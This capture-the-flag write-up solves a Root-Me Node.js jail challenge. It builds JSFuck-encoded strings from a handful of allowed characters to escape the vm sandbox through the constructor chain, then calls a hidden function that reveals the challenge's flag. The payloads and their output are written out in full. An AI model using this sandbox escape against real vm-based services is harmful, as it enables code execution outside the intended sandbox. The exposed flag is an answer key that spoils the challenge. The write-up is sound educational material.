๐ NodeJs - Never Trust Node One
๐ Before you start
You can donate to me via Buy Me a Coffee or follow me on Github
๐ฉ Getting the flag
Once inside this NodeJs jail
, we don't have many options weโre limited to using only a handful of characters:
$ nc nodejs.root-me.org 52000
+-------------------------------------------------------------------------------------------------------------+
| #### ## ## #### ## ## ## ## ###### ##### ###### #### #### |
| ## ## #### ## ## ## ## ## ## #### # ## # ## ## ## ## ## ## ## ## |
| ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ### |
| ## ## ## ## ## ## ## ## ## ## ## ## ## ##### ### ###### |
| ## ###### ## ## ## ## ## ###### ## ## ## ## ## ## ### ## |
| ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## |
| #### ## ## ####### #### ##### ####### ## ## #### ##### #### ## ###### ## #### |
+-------------------------------------------------------------------------------------------------------------+
For security reasons, you can only use the following characters : ()[]{}'0123456789+-*/!
>>>
๐บ๏ธ How to know where we are ?
With so few characters, it's crucial to at least know what kind of environment we're in. To figure this out, weโll intentionally trigger an error.
>>> 1 **** 1
evalmachine.<anonymous>:1
(function() { 'use strict'; return 1 **** 1 ; })()
^^
SyntaxError: Unexpected token '**'
at new Script (node:vm:99:7)
at runInNewContext (/index.js:63:20)
at /index.js:77:33
at [_onLine] [as _onLine] (node:internal/readline/interface:414:7)
at [_line] [as _line] (node:internal/readline/interface:887:18)
at [_ttyWrite] [as _ttyWrite] (node:internal/readline/interface:1265:22)
at ReadStream.onkeypress (node:internal/readline/interface:264:20)
at ReadStream.emit (node:events:518:28)
at emitKeys (node:internal/readline/utils:371:14)
at emitKeys.next (<anonymous>)
From the output, we now know:
- Weโre in a
NodeJs environment
- We have access to the
eval
function - Weโre in
strict mode
- Weโre running inside the
vm
module - We have access to the
runInNewContext
function
๐จ Getting characters
To start crafting a JavaScript payload, the first step is being able to generate characters. A fun and powerful method for that is something called JSFuck
.
๐ค What is ``JSFuck`` ?!
JSFuck
is an obfuscation technique. Thanks to JavaScriptโs permissiveness, you can literally write any script using only a few special characters. This works because JavaScript
is very lenient with type
coercion and internal object manipulation
.
Letโs look at a simple example:
>>> (!1 + '')[1]
a
Let's break down what's going on here:
!1
is equivalent tofalse
.false + ''
forces the conversion of false into a string, giving 'false'.'false'[1]
returns the character at index 1, so'a'
By combining logic like this, you can reconstruct any string letter by letter, which is essential when crafting a payload without directly using any alphabetic characters.
So we can define a table like this to map characters:
const map = {
'a': `(!1+'')[1]`,
'b': `({}+'')[2]`,
'c': `({}+'')[5]`,
'd': `([][1]+'')[2]`,
'e': `(!0+'')[3]`,
'f': `(!1+'')[0]`,
'g': `(''[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[14]`,
'h': ``,
'i': `(1/0+'')[3]`,
'j': `({}+'')[3]`,
'k': ``,
'l': `(!1+'')[2]`,
'm': `(1[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[11]`,
'n': `(1/0+'')[4]`,
'o': `({}+'')[1]`,
'p': `(/./[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[14]`,
'q': ``,
'r': `(!0+'')[1]`,
's': `(!1+'')[3]`,
't': `(!0+'')[0]`,
'u': `(!0+'')[2]`,
'v': `(1[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[25]`,
'w': ``,
'x': `(/./[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[13]`,
'y': `(1/0+'')[7]`,
'z': ``,
'A': `([][({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[9]`,
'B': `((!0)[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[9]`,
'C': ``,
'D': ``,
'E': `(/./[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[12]`,
'F': `(''[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]][({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[9]`,
'G': ``,
'H': ``,
'I': `(1/0+'')[0]`,
'J': ``,
'K': ``,
'L': ``,
'M': ``,
'N': `([]/[]+'')[0]`,
'O': `({}[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[9]`,
'P': ``,
'Q': ``,
'R': `(/./[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[9]`,
'S': `(''[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[9]`,
'T': ``,
'U': ``,
'V': ``,
'W': ``,
'X': ``,
'Y': ``,
'Z': ``,
'.': `(+(11+(!0+'')[3]+100)+'')[1]`,
'+': `(1111111111111111111111+'')[19]`,
'<': `(''[(!1+'')[0]+({}+'')[1]+(1/0+'')[4]+(!0+'')[0]+({}+'')[5]+({}+'')[1]+(!1+'')[2]+({}+'')[1]+(!0+'')[1]]()[0])`,
'>': `(''[(!1+'')[0]+({}+'')[1]+(1/0+'')[4]+(!0+'')[0]+({}+'')[5]+({}+'')[1]+(!1+'')[2]+({}+'')[1]+(!0+'')[1]]()[23])`,
'=': `(''[(!1+'')[0]+({}+'')[1]+(1/0+'')[4]+(!0+'')[0]+({}+'')[5]+({}+'')[1]+(!1+'')[2]+({}+'')[1]+(!0+'')[1]]()[11])`,
'/': `(''[(!1+'')[0]+({}+'')[1]+(1/0+'')[4]+(!0+'')[0]+({}+'')[5]+({}+'')[1]+(!1+'')[2]+({}+'')[1]+(!0+'')[1]]()[25])`,
'"': `(''[(!1+'')[0]+({}+'')[1]+(1/0+'')[4]+(!0+'')[0]+({}+'')[5]+({}+'')[1]+(!1+'')[2]+({}+'')[1]+(!0+'')[1]]()[22])`,
};
๐งฉ Code Injection
As we know, the vm
module allows us to execute JavaScript
code in a sandboxed context. Itโs often used to run code in a โsafeโ
environment, but it can also be used to run code in the global
context.
We also know that we can break out of the vm
context and execute code globally using this trick:
>>> this.constructor.constructor("return this")()
Welcome to Node.js v22.15.0.
Type ".help" for more information.
> this.constructor.constructor("return this")()
<ref *1> Object [global] {
global: [Circular *1],
clearImmediate: [Function: clearImmediate],
setImmediate: [Function: setImmediate] {
[Symbol(nodejs.util.promisify.custom)]: [Getter]
},
clearInterval: [Function: clearInterval],
clearTimeout: [Function: clearTimeout],
setInterval: [Function: setInterval],
setTimeout: [Function: setTimeout] {
[Symbol(nodejs.util.promisify.custom)]: [Getter]
},
queueMicrotask: [Function: queueMicrotask],
structuredClone: [Function: structuredClone],
atob: [Function: atob],
btoa: [Function: btoa],
performance: [Getter/Setter],
fetch: [Function: fetch],
navigator: [Getter],
crypto: [Getter]
}
Weโll do the exact same thing inside our jail but using JSFuck
format.
>>> ''[(!1+'')[1]+(!0+'')[0]][({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]((!0+'')[1]+(!0+'')[3]+(!0+'')[0]+(!0+'')[2]+(!0+'')[1]+(1/0+'')[4]+' '+(''[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[14]+(!1+'')[2]+({}+'')[1]+({}+'')[2]+(!1+'')[1]+(!1+'')[2])()
<ref *1> Object [global] {
global: [Circular *1],
clearImmediate: [Function: clearImmediate],
setImmediate: [Function: setImmediate] {
[Symbol(nodejs.util.promisify.custom)]: [Getter]
},
clearInterval: [Function: clearInterval],
clearTimeout: [Function: clearTimeout],
setInterval: [Function: setInterval],
setTimeout: [Function: setTimeout] {
[Symbol(nodejs.util.promisify.custom)]: [Getter]
},
queueMicrotask: [Function: queueMicrotask],
structuredClone: [Function: structuredClone],
atob: [Getter/Setter],
btoa: [Getter/Setter],
performance: [Getter/Setter],
fetch: [Function: fetch],
crypto: [Getter],
secret: [Function (anonymous)],
contextReturn: [Circular *1]
}
We can see that we now have access to a secret
function called secret. So... letโs execute it.
>>> ''[(!1+'')[1]+(!0+'')[0]][({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]((!0+'')[1]+(!0+'')[3]+(!0+'')[0]+(!0+'')[2]+(!0+'')[1]+(1/0+'')[4]+' '+(''[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[14]+(!1+'')[2]+({}+'')[1]+({}+'')[2]+(!1+'')[1]+(!1+'')[2]+(+(11+(!0+'')[3]+100)+'')[1]+(!1+'')[3]+(!0+'')[3]+({}+'')[5]+(!0+'')[1]+(!0+'')[3]+(!0+'')[0]+(1111111111111111111111+'')[19]+(''[(!1+'')[0]+({}+'')[1]+(1/0+'')[4]+(!0+'')[0]+({}+'')[5]+({}+'')[1]+(!1+'')[2]+({}+'')[1]+(!0+'')[1]]()[22])+(''[(!1+'')[0]+({}+'')[1]+(1/0+'')[4]+(!0+'')[0]+({}+'')[5]+({}+'')[1]+(!1+'')[2]+({}+'')[1]+(!0+'')[1]]()[22]))()
(password) => {
if (password === undefined) {
console.log("You need to enter a password !");
return;
}
if (password === "MST{nodejs_is_not_safe}") {
console.log("YOU WIN !!!");
return;
}
console.log("Wrong password !");
}
๐ Explication
'' -> this
[
(!1+'')[1] + -> 'a'
(!0+'')[0] + -> 't'
]
[
({}+'')[5] + -> 'c'
({}+'')[1] + -> 'o'
(1/0+'')[4] + -> 'n'
(!1+'')[3] + -> 's'
(!0+'')[0] + -> 't'
(!0+'')[1] + -> 'r'
(!0+'')[2] + -> 'u'
({}+'')[5] + -> 'c'
(!0+'')[0] + -> 't'
({}+'')[1] + -> 'o'
(!0+'')[1] -> 'r'
]
(
(!0+'')[1] + -> 'r'
(!0+'')[3] + -> 'e'
(!0+'')[0] + -> 't'
(!0+'')[2] + -> 'u'
(!0+'')[1] + -> 'r'
(1/0+'')[4] + -> 'n'
' ' + -> ' '
(''[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[14] + -> 'g'
(!1+'')[2] + -> 'l'
({}+'')[1] + -> 'o'
({}+'')[2] + -> 'b'
(!1+'')[1] + -> 'a'
(!1+'')[2] + -> 'l'
(+(11+(!0+'')[3]+100)+'')[1]+ -> '.'
(!1+'')[3] + -> 's'
(!0+'')[3] + -> 'e'
({}+'')[5] + -> 'c'
(!0+'')[1] + -> 'r'
(!0+'')[3] + -> 'e'
(!0+'')[0] + -> 't'
(1111111111111111111111+'')[19] + -> '+'
(''[(!1+'')[0]+({}+'')[1]+(1/0+'')[4]+(!0+'')[0]+({}+'')[5]+({}+'')[1]+(!1+'')[2]+({}+'')[1]+(!0+'')[1]]()[22]) + -> '"'
(''[(!1+'')[0]+({}+'')[1]+(1/0+'')[4]+(!0+'')[0]+({}+'')[5]+({}+'')[1]+(!1+'')[2]+({}+'')[1]+(!0+'')[1]]()[22]) + -> '"'
)
()
(This section breaks down how each part of the JSFuck payload is built character by character, using type coercions and property lookups.)
๐ค Documentation
- Rebuild the alphabet
- Short JSFuck trick
- Get all characters and symbols
- Inspect a function
- Alternative to this
๐ Support
๐ Before you leave
You can donate to me via Buy Me a Coffee or follow me on Github